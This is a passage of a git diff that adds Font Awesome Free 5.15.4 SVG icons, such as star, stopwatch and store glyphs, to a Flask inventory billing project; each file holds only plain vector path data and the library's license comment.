4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square.svg new file mode 100644 index 00000000..630bf885 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stamp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stamp.svg new file mode 100644 index 00000000..daa450b7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stamp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-and-crescent.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-and-crescent.svg new file mode 100644 index 00000000..8ca026d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-and-crescent.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-half-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-half-alt.svg new file mode 100644 index 00000000..e32845b6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-half-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 536 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-half.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-half.svg new file mode 100644 index 00000000..0398b664 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-half.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-of-david.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-of-david.svg new file mode 100644 index 00000000..2a7c316b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-of-david.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 464 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-of-life.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-of-life.svg new file mode 100644 index 00000000..7e59bc40 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star-of-life.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star.svg new file mode 100644 index 00000000..0d33b8eb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/star.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/step-backward.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/step-backward.svg new file mode 100644 index 00000000..6e5d9f06 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/step-backward.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/step-forward.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/step-forward.svg new file mode 100644 index 00000000..094c50c9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/step-forward.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stethoscope.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stethoscope.svg new file mode 100644 index 00000000..c184d237 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stethoscope.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sticky-note.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sticky-note.svg new file mode 100644 index 00000000..ecaa2eea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sticky-note.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stop-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stop-circle.svg new file mode 100644 index 00000000..68d64ebb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stop-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stop.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stop.svg new file mode 100644 index 00000000..630bf885 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stopwatch-20.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stopwatch-20.svg new file mode 100644 index 00000000..83ce91dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stopwatch-20.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stopwatch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stopwatch.svg new file mode 100644 index 00000000..1a283c25 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stopwatch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-alt-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-alt-slash.svg new file mode 100644 index 00000000..fb559c10 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-alt-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-alt.svg new file mode 100644 index 00000000..11f7011c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-slash.svg new file mode 100644 index 00000000..eeb02b37 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store.svg new file mode 100644 index 00000000..9656e1ae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/store.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 616 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stream.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stream.svg new file mode 100644 index 00000000..cecbc944 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stream.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/street-view.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/street-view.svg new file mode 100644 index 00000000..8b42ef5d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/street-view.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/strikethrough.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/strikethrough.svg new file mode 100644 index 00000000..28264233 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using 